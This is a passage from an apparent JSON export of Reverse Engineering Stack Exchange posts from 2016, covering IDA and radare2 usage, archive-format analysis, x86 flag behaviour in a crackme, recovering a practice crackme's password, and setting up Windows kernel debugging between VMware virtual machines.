        "Answer": "<p>Most likely, your program is intended to be loaded at <code>0x80000000</code>, has a size of more than 1004 bytes (0x3EC = 1004 decimal), and the values at that location are intended to be initialized from the data section of your program when your program starts.</p>\n\n<p>Also, there could be some hardware at that specific address but that's unlikely seeing how those addresses seem to contain pointers.</p>\n\n<p>A third possibility is that your OS, whichever you're using, puts some global information at those locations when it loads your program.</p>\n\n<p>To know which of those possibilities is correct we'd need more information about your hard- and software, but i strongly tend to the first possibility.</p>\n"
    },
    {
        "Id": "13120",
        "CreationDate": "2016-07-22T18:01:38.290",
        "Body": "<p>Is there any way to change the calling convention programmatically?\nI found some C++ code in this <a href=\"https://github.com/nihilus/hexrays_tools\" rel=\"nofollow\">repo</a> but wasn't able to successfully update it to 6.8.</p>\n\n<pre><code>static bool idaapi convert_to_usercall(void *ud)\n{\n    vdui_t &amp;vu = *(vdui_t *)ud;\n    if (!vu.cfunc)\n        return false;\n    if ( vu.cfunc-&gt;entry_ea == BADADDR )\n        return false;\n    tinfo_t type;\n    qtype fields;       \n    if (!vu.cfunc-&gt;get_func_type(type, fields))\n        return false;\n    func_type_info_t fti;\n    int a = build_funcarg_info(idati, type.c_str(), fields.c_str(), &amp;fti, 0);\n    if (!convert_cc_to_special(fti))\n        return false;\n    fields.clear();\n    type.clear();\n    build_func_type(&amp;type, &amp;fields, fti);\n    if ( !apply_tinfo(idati, vu.cfunc-&gt;entry_ea, type.c_str(), fields.c_str(), 1) )\n        return false;\n    vu.refresh_view(true);\n    return true;\n}\n</code></pre>\n\n<p>The code seems to use apis that are now deprecated or changed up. Does anybody know a way to fix up this code or some other approach.</p>\n\n<p>Any help would be appreciated, whether it is C++ or Python.</p>\n",
        "Title": "IDA 6.8 SDK change calling convention",
        "Tags": "|ida|idapython|idapro-sdk|",
        "Answer": "<p>Ok, I found a solution in Python and it should work the same in C++. For anyone interested, here's the code. It changes the calling convention from <code>__usercall</code> to <code>__fastcall</code>:</p>\n\n<pre><code>old_func_type = idaapi.tinfo_t()\ncfunc.get_func_type(old_func_type)\n\nfi = idaapi.func_type_data_t()\nif old_func_type.get_func_details(fi):\n    if (fi.cc == idaapi.CM_CC_SPECIAL) or (fi.cc == idaapi.CM_CC_SPECIALE) or (fi.cc == idaapi.CM_CC_SPECIALP):\n        fi.cc = idaapi.CM_CC_FASTCALL\n\n        new_func_type = idaapi.tinfo_t()\n        new_func_type.create_func(fi)\n\n        idaapi.apply_tinfo2(ea, new_func_type, idaapi.TINFO_DEFINITE)\n</code></pre>\n"
    },
    {
        "Id": "13126",
        "CreationDate": "2016-07-24T11:42:35.277",
        "Body": "<p>I've never did something like this before, but I have programming experiences. There are two files:\n<code>data00.big</code> and <code>data01.big</code>, which I would like to extract.</p>\n\n<p>I've tried Dragon Unpacker, which can unpack <code>.big</code> files. But it seems, that they aren't valid <code>.big</code> files, just some kind of custom archive, which is named <code>.big</code>, so it seems, I have to write my own unpacker.</p>\n\n<p>The archive was created in 1999. As far as I know, it contains mostly graphic and sound files.</p>\n\n<p><code>data00.big</code> opened in hexeditor:</p>\n\n<p><a href=\"https://i.stack.imgur.com/RqJq8.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/RqJq8.png\" alt=\"hex\"></a></p>\n",
        "Title": "What are the steps, to extract an unknown archive file in this case?",
        "Tags": "|decompilation|unpacking|file-format|",
        "Answer": "<p>I see filenames. That is an extremely important starting point - if I did not, I'd have to assume the file is encrypted, compressed, or does not use filenames at all, which are all harder to unpack.</p>\n\n<p>For the moment, skip the header \"BigFile\" and the immedtaly following data and concentrate on these filenames alone.</p>\n\n<p>If the filenames have different lengths, you can verify if these are records of a fixed length (where the filenames are padded), or have different lengths, in which case there may be a \"length\" value - or not. A length value may not be necessary, the file names can be terminated by a special value such as <code>0</code>.</p>\n\n<p>There are other values too - usually, in an archive format, these are file lengths. There can also be a file <em>offset</em> - but from where? (E,g., start of file, start of archive data excluding the header, start of actual data, and so on.) A per-file offset is not required if all files appear end to end, then the lengths are enough.</p>\n\n<p>There may be additional information per file record; I have encountered flags, file type codes, date/time stamps, checksums, and more. Usually, after you found out what the most important bits mean, the remaining data makes sense as well.</p>\n\n<p>To find out what byte means what, write a small program to print out each file name and all of its associated data, up to the next file entry. Don't bother with trying to get a correct 'file count' yet. Most likely this is one of the numbers in the header at the start; you can go back to that when you got the file list details right. For starters, just write out the data of the first few dozen of entries.</p>\n\n<p>Keep in mind that you cannot tell right away if extra data comes before or after the file name! Or even both.</p>\n\n<p>File sizes and offsets are usually 4 byte numbers; the endianness can be trivially checked (all small numbers are good, all conspicuously large must be an error). Similar but varying numbers may be file sizes. A number that keeps increasing must be an absolute file offset. Numbers that always contain data in some binary positions and none in others can be flags of some kind. Large values, hovering around similar values, can very well be a time stamp. Finally, random looking full 4 byte numbers might be a checksum.</p>\n\n<p>If you get consistent good results in decoding the data for the test set of file records, find the start and end of the list by trial and error. It's here that you may discover that the \"end\" of a record is actually the <em>start</em> of the next one.</p>\n\n<p>This will tell you (1) the number of records, and (2) the start of the record data. You can inspect if these numbers appear in the \"BigFile\" header - particularly the number of records would be useful.</p>\n\n<p>If you can locate numbers that \"look\" like they could be file lengths and (optionally) offsets, you can write a test program to extract a single file. This may also help with determining the order of data; if you extract a file that is clearly a PNG image but its associated filename is \"config.txt\", you have something in the wrong order.</p>\n\n<p>An alternative to the above is focussing on the <em>data</em> first. Some file types, such as PNG images, should be entirely self containing: if you find the start of a PNG image, you can immediately extract it in its entirety by looking for the tell-tale <code>IEND</code> marker. Then you have a reliable file length and so you can search for a match in the file record set.</p>\n"
    },
    {
        "Id": "13133",
        "CreationDate": "2016-07-25T03:45:02.290",
        "Body": "<p>I'm doing a crackme to learn some reversing, and I stumbled upon this code generated by C++ MFC:</p>\n\n<pre><code>sbb eax, eax\nsbb eax, -1\ntest eax, eax\njz exit\n</code></pre>\n\n<p>Before that code a comparison is done, such as <code>cmp al, bl</code> where al and bl hold some value read from the serial</p>\n\n<p>The thing that confused me, is I figured that the cmp and two sbb instructions are equivalent to this pseudocode:</p>\n\n<pre><code>cmp a,b\neax=-1 if b&gt;a\neax=1 otherwise\n</code></pre>\n\n<p>However this confused me because eax can never be 0, so the zero flag will always be set.  Therefore, I figure the chunk of code </p>\n\n<pre><code>test eax, eax\njz exit\n</code></pre>\n\n<p>is useless because it does nothing- but how can this be? I don't think their C++ compiler would generate useless code like that</p>\n\n<p>Where am I wrong here?</p>\n",
        "Title": "What are the results of this sbb instruction?",
        "Tags": "|x86|crackme|",
        "Answer": "<p>are you sure it was compiler generated ?<br>\nmay be it was hand crafted or deliberately coded like wise \nmay be it checks the sign flag further down in the jz path \nmay be red herring ? </p>\n\n<p>well whatever it requires more info \nbased on the info provided only thing that pops up is a check for sign flag further down the path </p>\n\n<p>here is a small compilable c code that shows what flags and results are for the operations in the query </p>\n\n<pre><code>#include &lt;stdio.h&gt;\nint helper (unsigned char a , unsigned char b )\n{\n    unsigned char res = 0;\n    unsigned char flag = 0;\n    __asm\n    {\n        xor eax,eax\n        xor ecx,ecx\n        mov al,a        ;          = 0  1  2  3  4  5  6  7\n        mov cl,b        ;          = 4  4  4  4  4  4  4  4\n        cmp al,cl       ;cf        = 1  1  1  1  0  0  0  0\n        sbb eax,eax     ;x-x-cf    =-1 -1 -1 -1  0  0  0  0\n        sbb eax,-1      ;x-(-1)-cf =-1 -1 -1 -1  1  1  1  1\n        mov res,al      ;          = ---------\"\"-----------\n        pushfd\n        xor eax,eax\n        mov eax,dword ptr ss:[esp]\n        popfd\n        lahf\n        mov flag , al\n    }\n    bool zf = ((flag &amp; 64)==64);\n    bool sf = ((flag &amp; 128)==128);\n    bool cf = ((flag &amp; 1)==1);\n    printf(\"%2x %2x %2x %2x %2x %2x\\n\" ,a,b,res,zf,sf,cf);\n}\nint main (void)\n{\n    printf(\" a  b  r  z  s  c\\n\");\n    for (unsigned char i = 0; i &lt; 8 ;i++){\n        helper(i,4);\n    }\n    return 0;\n}\n</code></pre>\n\n<p>result</p>\n\n<pre><code>:\\&gt;dir /b &amp; cl /nologo runasm.cpp &amp; runasm.exe\nrunasm.cpp\nrunasm.cpp\n a  b  r  z  s  c\n 0  4 ff  0  1  1\n 1  4 ff  0  1  1\n 2  4 ff  0  1  1\n 3  4 ff  0  1  1\n 4  4  1  0  0  1\n 5  4  1  0  0  1\n 6  4  1  0  0  1\n 7  4  1  0  0  1\n</code></pre>\n"
    },
    {
        "Id": "13136",
        "CreationDate": "2016-07-25T11:08:43.770",
        "Body": "<p>I was disassembling a function using IDA's pseudocode view and for some reason, IDA did not associated labels to some of the variables</p>\n\n<p><a href=\"https://i.stack.imgur.com/7vd4b.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/7vd4b.png\" alt=\"\"></a></p>\n\n<p>To fix that, I added some comments so I can work with it.</p>\n\n<p>Is there a way to manually add such variables ?</p>\n\n<p>I saw <a href=\"https://reverseengineering.stackexchange.com/questions/4213/is-there-a-way-to-adjust-local-variables-when-a-function-doesnt-utilize-ebp\"><strong>a SE post</strong></a> saying to make a script, I'm a new IDA user, I don't really want to bother with that yet.</p>\n\n<p>If it's not possible or <em>\"\"\"complicated\"\"\"</em> (don't throw me rocks please ;) ) that's no big deal, the function is not that large I can work on it without problems, I'm asking this to get the hang of IDA or to get a general approach of this problem.</p>\n\n<p>Thank you for your time.</p>\n",
        "Title": "IDA - Is it possible to \"add\" local variables in pseudocode view",
        "Tags": "|ida|",
        "Answer": "<p>All highlighted identifiers looks like class members (or structure members, depends on the code) where the object is pointed by <code>this</code> pointer, which is located not on stack of this specific function, but in other place.</p>\n\n<p>You can handle it as follows:</p>\n\n<ol>\n<li>Right click on <code>this</code></li>\n<li>Find in the context menu something like \"Create structure\" and press it</li>\n<li>Give this structure a name</li>\n<li>Enjoy results</li>\n<li>You can rename structure fields by pressing <kbd>N</kbd> just as in case of ordinary variables.</li>\n<li>You can edit the structure in structures window (View->Open subviews->Structures, refresh the pseudo-code view after edit)</li>\n</ol>\n\n<p>You'll probably need to assign the same pointer type to <code>this_</code> variable.\nBy the way, if you'll press <kbd>=</kbd> on <code>this_</code> variable you'll be able to define that <code>this</code> and <code>this_</code> are actually the same thing, this will simplify the resulting pseudo-code.</p>\n\n<p>Good luck</p>\n"
    },
    {
        "Id": "13139",
        "CreationDate": "2016-07-25T12:30:16.140",
        "Body": "<p><strong>The problem:</strong> Recently I had to perform a kernel debugging on two MS windows VMWare virtual machines connected via a virtual serial port, and while running on a GNU/Linux host.</p>\n\n<p><strong>The layout:</strong> GNU/Linux host with Arch Linux distribution (even though the distro does not play a crucial role in this scenario), with VMWare Workstation 11 installed, hosting two MS Windows virtual machines - MS Windows 7SP1 x64 (the DEBUGGER), and MS Windows 8.0 x64 (the DEBUGGEE).</p>\n\n<p><strong>The solution:</strong> I did quite a lot of Googling to figure this out, and there was some information here and there, but I was no able to find a solution that would work for my case.\nTherefore, I have compiled my findings and a working step-by-step approach in the solution written below. Hopefully this will be also useful for someone else as well.</p>\n",
        "Title": "How to connect two Windows VMWare virtual machines over a virtual serial port for kernel debugging on a Linux host",
        "Tags": "|windows|debugging|virtual-machines|",
        "Answer": "<p>This is a step-by-step approach, excluding the actual host system installation, VMware setup and Virtual Machine creation, since these are rudimentary steps and anyone willing to perform kernel debugging should be capable doing.\nThe approach is split into three parts - the VM hardware settings, MS Windows configuration, and establishing a debugging session.</p>\n\n<h2>I. VM hardware settings</h2>\n\n<ol>\n<li><p>Start with the DEBUGGER VM (the one from where you will be connecting to the DEBUGGEE to perform kernel debugging). In virtual machine settings hardware tab click 'Add...' to add new 'Serial port' device. </p>\n\n<p><a href=\"https://i.stack.imgur.com/au2mO.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/au2mO.png\" alt=\"VMWare VM serial port\"></a></p></li>\n<li><p>Set Serial port type to 'Output to socket'.</p>\n\n<p><a href=\"https://i.stack.imgur.com/kSLkO.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/kSLkO.png\" alt=\"Output to socket\"></a></p></li>\n<li><p>Give the name to the Socket (named pipe) a one you desire in a writeable location. I chose a '/tmp' folder and give the name 'com1', so that the full path of the socket is '/tmp/com1'. Since the DEBUGGER will connect to a DEBUGGEE specify the direction of connection as 'From: Client' and 'To: A Virtual Machine'. Also, make sure the device status is selected as 'Connect at power on' unless you require otherwise.</p>\n\n<p><a href=\"https://i.stack.imgur.com/G3Ng5.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/G3Ng5.png\" alt=\"Named pipe\"></a></p></li>\n<li><p>Once you click 'Finish' the DEBUGGER VM is prepared to use the serial connection.</p>\n\n<p><a href=\"https://i.stack.imgur.com/XeL7o.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/XeL7o.png\" alt=\"Debugger ready\"></a></p></li>\n<li><p>Configure the DEBUGGEE VM (the one which will be debugged). In virtual machine settings hardware tab click 'Add...' to add new 'Serial port' device.Set Serial port type to 'Output to socket'. Give the name to the Socket exactly the same one as you set it for the DEBUGGER, in this case - '/tmp/com1'. Specify the direction of connection as 'From: Server' and 'To: A Virtual Machine'. Check that device status is selected as 'Connect at power on' unless you require otherwise.</p>\n\n<p><a href=\"https://i.stack.imgur.com/T3gFs.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/T3gFs.png\" alt=\"Debuggee named pipe\"></a></p></li>\n<li><p>For the I/O mode make sure that 'Yield CPU on poll' is checked. Once done, this will prepare your VM to use the serial connection, and both VMs should be able to communicate over that.\n<a href=\"https://i.stack.imgur.com/mo4TG.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mo4TG.png\" alt=\"Debuggee ready\"></a></p></li>\n</ol>\n\n<h2>II. MS Windows configuration</h2>\n\n<ol start=\"7\">\n<li><p>Start you DEBUGGEE machine in order to enable debugging mode on a MS Windows system. Launch the command prompt 'cmd.exe' as Administrator and execute the 'bcdedit' command to view the current boot settings.</p>\n\n<p><a href=\"https://i.stack.imgur.com/zd5La.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/zd5La.png\" alt=\"bcdedit\"></a></p></li>\n<li><p>Execute (and adjust identifiers as needed) the following commands to create an additional boot option with debugging enabled:</p>\n\n<blockquote>\n  <p>bcdedit /copy {current} /d \"Windows 8 Debugging\"</p>\n  \n  <p>bcdedit /set {ec04b3f3-16f4-11e6-b020-9ef119952d26} debug on</p>\n  \n  <p>bcdedit /set {ec04b3f3-16f4-11e6-b020-9ef119952d26} debugtype serial</p>\n  \n  <p>bcdedit /set {ec04b3f3-16f4-11e6-b020-9ef119952d26} debugport 1</p>\n  \n  <p>bcdedit /set {ec04b3f3-16f4-11e6-b020-9ef119952d26} baudrate 115200</p>\n</blockquote>\n\n<p>This should get your MS Windows DEBUGGEE be ready to boot in a debugging mode once restarted.</p></li>\n</ol>\n\n<h2>III. Establishing a debugging session</h2>\n\n<ol start=\"9\">\n<li><p>Start the DEBUGGER VM. Download and install the MS Windows SDK with debugging tools. The Microsoft Windows SDK for Windows 7 can be found <a href=\"https://www.microsoft.com/en-us/download/details.aspx?id=3138\" rel=\"nofollow noreferrer\">here</a>. Run the WinDbg and choose 'File/Kernel Debug (Ctrl+K)' to configure a debugging session over serial connection. In kernel Debugging settings COM tab, set baud rate to 115200 and port - com1 (or the name you specified). Once you click OK, the WinDbg will start waiting on com1 for incoming debugging sessions.</p>\n\n<p><a href=\"https://i.stack.imgur.com/8HLQw.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8HLQw.png\" alt=\"WinDbg Setup\"></a></p></li>\n<li><p>Start the DEBUGGEE VM. Make sure you choose the \"Windows 8 Debugging\" boot option to start the machine in the debugging mode.</p></li>\n<li><p>On your DEBUGGER VM in WinDbg you should see an incoming kernel debugging connection. Select 'Debug/Break (Ctrl+Break)' to issue an interrupt and start debugging the kernel.</p>\n\n<p><a href=\"https://i.stack.imgur.com/dp0VN.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/dp0VN.png\" alt=\"Kernel debugging connection\"></a></p></li>\n</ol>\n\n<p>These steps should be enough to get the Kernel Debugging session over serial connection between two MS Windows VMs on a GNU/Linux host up and running.</p>\n"
    },
    {
        "Id": "13147",
        "CreationDate": "2016-07-26T13:41:21.317",
        "Body": "<p>I'm trying to learn reverse engineering techniques, apologies in advance if I leave anything out</p>\n\n<p>I'm trying to find the password in the following section of disassembled code (there are other blocks of code in case those need to be included as well)</p>\n\n<pre><code>push    ebp\nmov     ebp, esp\nand     esp, 0FFFFFFF0h\npush    esi\npush    ebx\nsub     esp, 158h\nmov     eax, [ebp+arg_4]\nmov     [esp+1Ch], eax\nmov     eax, large gs:14h\nmov     [esp+14Ch], eax\nxor     eax, eax\nmov     dword ptr [esp+2Eh], 74726170h\nmov     word ptr [esp+32h], 32h\nmov     dword ptr [esp+141h], 32656854h\nmov     dword ptr [esp+145h], 6150646Eh\nmov     word ptr [esp+149h], 7472h\nmov     byte ptr [esp+14Bh], 0\nmov     dword ptr [esp+4], offset aPassword ; \"password:\\n\"\nmov     dword ptr [esp], offset _ZSt4cout ; std::cout\ncall    __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator&lt;&lt;&lt;std::char_traits&lt;char&gt;&gt;(std::basic_ostream&lt;char,std::char_traits&lt;char&gt;&gt; &amp;,char const*)\nmov     dword ptr [esp+8], 100h ; int\nlea     eax, [esp+41h]\nmov     [esp+4], eax    ; char *\nmov     dword ptr [esp], offset _ZSt3cin ; this\ncall    __ZNSi3getEPci  ; std::istream::get(char *,int)\nlea     eax, [esp+40h]\nmov     [esp], eax\ncall    __ZNSaIcEC1Ev   ; std::allocator&lt;char&gt;::allocator(void)\nlea     eax, [esp+40h]\nmov     [esp+8], eax\nmov     dword ptr [esp+4], offset aThisisnotthepa ; \"thisisnotthepassword\"\nlea     eax, [esp+38h]\nmov     [esp], eax\ncall    __ZNSsC1EPKcRKSaIcE ; std::string::string(char const*,std::allocator&lt;char&gt; const&amp;)\nlea     eax, [esp+40h]\nmov     [esp], eax\ncall    __ZNSaIcED1Ev   ; std::allocator&lt;char&gt;::~allocator()\nmov     dword ptr [esp+8], 3E8h ; n\nlea     eax, [esp+41h]\nmov     [esp+4], eax    ; s2\nmov     dword ptr [esp], offset s1 ; \"FBQ2GE9\"\ncall    _strncmp\ntest    eax, eax\njnz     short loc_8048A74\n</code></pre>\n\n<p>If the compare succeeds, then the password is correct</p>\n\n<p>I was thinking that it would have been <code>FBQ2GE9</code>, but that's apparently the wrong answer. What am I missing here?</p>\n",
        "Title": "Finding password in disassembled code",
        "Tags": "|disassembly|binary-analysis|x86|",
        "Answer": "<p>I'm not specialist, especially in C++ re, but password is constructing in the lines:</p>\n\n<pre><code>mov     dword ptr [esp+2Eh], 74726170h\n...\nmov     byte ptr [esp+14Bh], 0\n</code></pre>\n\n<p>Second command is <code>null</code>-byte in null terminated strings. \nAlso, you should take care to <a href=\"https://en.wikipedia.org/wiki/Endianness\" rel=\"nofollow\">endianness</a>.\nSo answer is in that numbers: <code>70617274 32 54686532 6E645061 7274</code>.\nThis is hex representation of password, which you can convert into ascii with python3 command:</p>\n\n<pre><code>$ python3 -c 'import binascii; print(binascii.unhexlify(\"7061727432546865326E6450617274\"))'\nb'part2The2ndPart'\n</code></pre>\n\n<p>So the answer is <code>part2The2ndPart</code></p>\n\n<p>Also take a look at the <a href=\"http://beginners.re\" rel=\"nofollow\">Denis's Yrichev reverse engineering book for beginners.</a></p>\n\n<p><em>UPDATE</em></p>\n\n<pre><code>./part1.exe\npassword:\nFBQ2GE9\ncorrect!\nusername: part2, password: The2ndPart\n10.56.15.125\n</code></pre>\n"
    },
    {
        "Id": "13160",
        "CreationDate": "2016-07-28T20:32:11.027",
        "Body": "<p>I am trying to disassemble a binary with radare2, as a free alternative to IDA. Here is how the IDA disassembly of that section looks like : </p>\n\n<p>Here is what I am doing with Radare2 (with an additional option of <code>e asm.cmtright=true</code> in my <code>.radare2rc</code> file)\n: </p>\n\n<pre><code>  r2 binary \n    [0x004027c0]&gt; aaa\n\u2502          [0x004027c0]&gt; s 0x40baa4\n\u2502          [0x0040baa4]&gt; pd 10\n\u2502           0x0040baa4    4200053c     a1 |= loc.00420000\n\u2502           0x0040baa8    301ea524     a1 += 7728\n\u2502           0x0040baac    08c52426     a0 = s1 - 15096\n\u2502           0x0040bab0    09f82003     call t9\n\u2502           0x0040bab4    304c02ae     [s0 + 19504] = v0\n\u2502           0x0040bab8    1800bc8f     gp = [sp + 24]\n\u2502           0x0040babc    304c048e     a0 = [s0 + 19504]\n\u2502           0x0040bac0    2c83998f     t9 = [gp - 31956]\n\u2502           0x0040bac4    00000000     \n\u2502           0x0040bac8    09f82003     call t9\n</code></pre>\n\n<p>whereas the disassembly from the same location in IDA looks like : </p>\n\n<pre><code>.text:0040BAA4                 la      $a1, aId         # \"id\"\n.text:0040BAAC                 addiu   $a0, $s1, (sub_40C508 - 0x410000)\n.text:0040BAB0                 jalr    $t9 ; parse_uri\n.text:0040BAB4                 sw      $v0, dword_434C30\n.text:0040BAB8                 lw      $gp, 0x12B8+var_12A0($sp)\n.text:0040BABC                 lw      $a0, dword_434C30\n.text:0040BAC0                 la      $t9, sobj_get_string\n.text:0040BAC4                 nop\n.text:0040BAC8                 jalr    $t9 ; sobj_get_string\n</code></pre>\n\n<p>Is it possible to have radare2 show similar disassembly and be more meaningful? </p>\n\n<p>Another example would be : </p>\n\n<pre><code>[0x004127f8]&gt; pd 10\n\u2502           0x004127f8    6c83998f     t9 = [gp - 31892]\n\u2502           0x004127fc    00000000     \n\u2502           0x00412800    09f82003     call t9\n\u2502           0x00412804    2000a427     a0 = sp + 32\n\u2502           0x00412808    1800bc8f     gp = [sp + 24]\n\u2502           0x0041280c    02000524     a1 = 2\n\u2502           0x00412810    5481998f     t9 = [gp - 32428]\n\u2502           0x00412814    21300000     a2 = zero\n\u2502           0x00412818    09f82003     call t9\n\u2502           0x0041281c    2120c002     a0 = s6\n</code></pre>\n\n<p>compared to IDA : </p>\n\n<pre><code>.text:004127F8                 la      $t9, system\n.text:004127FC                 nop\n.text:00412800                 jalr    $t9 ; system\n.text:00412804                 addiu   $a0, $sp, 0x248+var_228  # command\n.text:00412808                 lw      $gp, 0x248+var_230($sp)\n.text:0041280C                 li      $a1, 2           # cmd\n.text:00412810                 la      $t9, lockf\n.text:00412814                 move    $a2, $zero       # len\n.text:00412818                 jalr    $t9 ; lockf\n.text:0041281C                 move    $a0, $s6         # fd\n</code></pre>\n\n<p>IDA even tells me that this is the address of system, while just looking at the radare2 code I wouldn't have had been able to find it. </p>\n\n<p>Any suggestions on how I could improve the radare2 analysis or it is just one of the limitations ?</p>\n",
        "Title": "Radare2 to show code hints like IDA Pro?",
        "Tags": "|ida|disassembly|disassemblers|radare2|mips|",
        "Answer": "<p>This is currently Work in progress feature. It is called type propagation analysis that allows giving hints on variables types and their name in case of using standard functions.</p>\n\n<p>I cant explain how to use because it is still not finished. but you will expected to provide <a href=\"https://github.com/radare/radare2/blob/master/doc/calling-conventions.md\" rel=\"nofollow\">calling conventions profile</a> and data-types/function prototypes profiles for target architecture, they will be used to match function arguments to each instance of <code>call</code> instruction stack frame and registers as described per the profiles. </p>\n\n<p>This analysis round should be target architecture independent. Once it is fully implemented I will update the answer to describe how to use that analysis</p>\n"
    },
    {
        "Id": "13174",
        "CreationDate": "2016-07-30T23:50:08.510",
        "Body": "<p>I think I've seen it somewhere a few years back, but couldn't find a mention anywhere.</p>\n\n<p>I'm developing an IDAPython plugin and I'd like to embed IDB-specific information inside IDBs. Obviously, I could write that data into another file but embedding it into IDB files will really suit my needs.</p>\n\n<p>The data itself is quite simple and small, I could do with few tens (hundred max) of bytes. I can go one binary blob or free-text/json that I manually manage.</p>\n\n<p>I thought about adding a section of my own, but that's a bit too hacky and IDA instances without my plugin will show it to the user.</p>\n\n<p>Any suggestions?</p>\n",
        "Title": "Adding user(/plugin/thirdparty) data to IDB files",
        "Tags": "|ida|idapython|",
        "Answer": "<p>You can try <code>netnode</code>. check out <a href=\"https://github.com/williballenthin/ida-netnode\" rel=\"nofollow\">https://github.com/williballenthin/ida-netnode</a> .</p>\n"
    },
    {
        "Id": "13175",
        "CreationDate": "2016-07-31T03:41:47.313",
        "Body": "<p>Currently I'm reversing a Windows driver, and there are a lot of structs IDA doesn't automatically recognize, which means I have to import them manually by parsing C header files.</p>\n\n<p>However, there are way too many nested structs/unions and I have to modify each one so IDA can parse it correctly. They go so deep, they make me spend more time on adding structs rather than actually reversing.</p>\n\n<p>Is there any way of doing this?</p>\n\n<p>I did try parsing the file I need with <kbd>Ctrl</kbd>+<kbd>F9</kbd>, but IDA doesn't understand stuff like e.g. <code>#include</code>s and errors, making this option impossible to use</p>\n",
        "Title": "How to import Windows DDK headers into IDA?",
        "Tags": "|ida|windows|driver|",
        "Answer": "<p><code>View-&gt;Open subviews-&gt;Type Libraries</code> (<kbd>Shift-F11</kbd>), right click, <code>Load Type Library...</code>, <code>wdk8_km</code>.</p>\n"
    },
    {
        "Id": "13185",
        "CreationDate": "2016-08-02T03:06:18.977",
        "Body": "<p>I want to list parameter of function for analysis. Can I list the parameter of function using IDA Pro or IDAPython ?</p>\n",
        "Title": "How to list parameter of function from IDA Pro?",
        "Tags": "|ida|assembly|idapython|functions|",
        "Answer": "<p>with some hack like this ?</p>\n\n<pre><code>cmt = GetType(ScreenEA());\nprint cmt\nfc = cmt.split(\"(\")\nsc = fc[1].split(\")\")\ntc = sc[0].split(\",\")\nfor s in tc:\n    print s\n</code></pre>\n\n<p>result when cursor is in functionstart</p>\n\n<pre><code>int __stdcall(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)\nHINSTANCE hInstance\n HINSTANCE hPrevInstance\n LPSTR lpCmdLine\n int nShowCmd\n</code></pre>\n"
    },
    {
        "Id": "13192",
        "CreationDate": "2016-08-02T15:53:00.540",
        "Body": "<p>I'm currently working with a huge set of IDA Pro listings (<code>~1TiB</code>).</p>\n\n<p>For a project I need to perform analyses on the <code>mnemonics</code> and <code>operands</code> on a subroutine level. Therefor I want to convert the IDA format in a plain assembly format, as the existing parser only works for \"PLAIN ASM\" files.</p>\n\n<p>Additonally this should be done without using a non-free version of IDA.</p>\n\n<p><strong>IDA ASM</strong></p>\n\n<pre><code>.text:00401000                             ; =============== S U B R O U T I N E =======================================\n.text:00401000\n.text:00401000                             ; Attributes: bp-based frame\n.text:00401000\n.text:00401000                             sub_401000      proc near           ; CODE XREF: sub_43BD35+Ap\n.text:00401000\n.text:00401000                             var_C           = dword ptr -0Ch\n.text:00401000                             var_8           = dword ptr -8\n.text:00401000                             var_4           = dword ptr -4\n.text:00401000\n.text:00401000 55                                  push    ebp\n.text:00401001 8B EC                                   mov     ebp, esp\n.text:00401003 83 EC 0C                                sub     esp, 0Ch\n.text:00401006 89 4D F4                                mov     [ebp+var_C], ecx\n.text:00401009 8B 45 F4                                mov     eax, [ebp+var_C]\n.text:00401021 59                                  pop     ecx\n.text:00401022\n.text:00401022                             loc_401022:                 ; CODE XREF: sub_401000+Fj\n.text:00401022 8B 45 F4                                mov     eax, [ebp+var_C]\n.text:00401025 83 78 04 00                             cmp     dword ptr [eax+4], 0\n.text:00401029 74 12                                   jz      short locret_40103D\n.text:0040102B 8B 45 F4                                mov     eax, [ebp+var_C]\n.text:0040102E 8B 40 04                                mov     eax, [eax+4]\n.text:00401031 89 45 F8                                mov     [ebp+var_8], eax\n.text:00401034 FF 75 F8                                push    [ebp+var_8]     ; void *\n.text:00401037 E8 B8 0D 00 00                              call    ??3@YAXPAX@Z    ; operator delete(void *)\n.text:0040103C 59                                  pop     ecx\n.text:0040103D\n.text:0040103D                             locret_40103D:                  ; CODE XREF: sub_401000+29j\n.text:0040103D C9                                  leave\n.text:0040103E C3                                  retn\n.text:0040103E                             sub_401000      endp\n</code></pre>\n\n<p>Convert to:</p>\n\n<p><strong>PLAIN ASM</strong></p>\n\n<pre><code>=============== S U B R O U T I N E =======================================\npush    ebp\nmov     ebp, esp\nsub     esp, 0Ch\nmov     [ebp+var_C], ecx\nmov     eax, [ebp+var_C]\npop     ecx\nmov     eax, [ebp+var_C]\ncmp     dword ptr [eax+4], 0\njz      short locret_40103D\nmov     eax, [ebp+var_C]\nmov     eax, [eax+4]\nmov     [ebp+var_8], eax\npush    [ebp+var_8]     ; void *\ncall    ??3@YAXPAX@Z    ; operator delete(void *)\npop     ecx\nleave\nretn\n</code></pre>\n\n<p><strong>Question:</strong>\nAre there solutions or scripts already existing for such a (automatically or batch-mode) conversion (at the best without needing a IDA non-free version)?</p>\n",
        "Title": "Convert IDA listings to assembly without using IDA non-free",
        "Tags": "|ida|disassembly|assembly|",
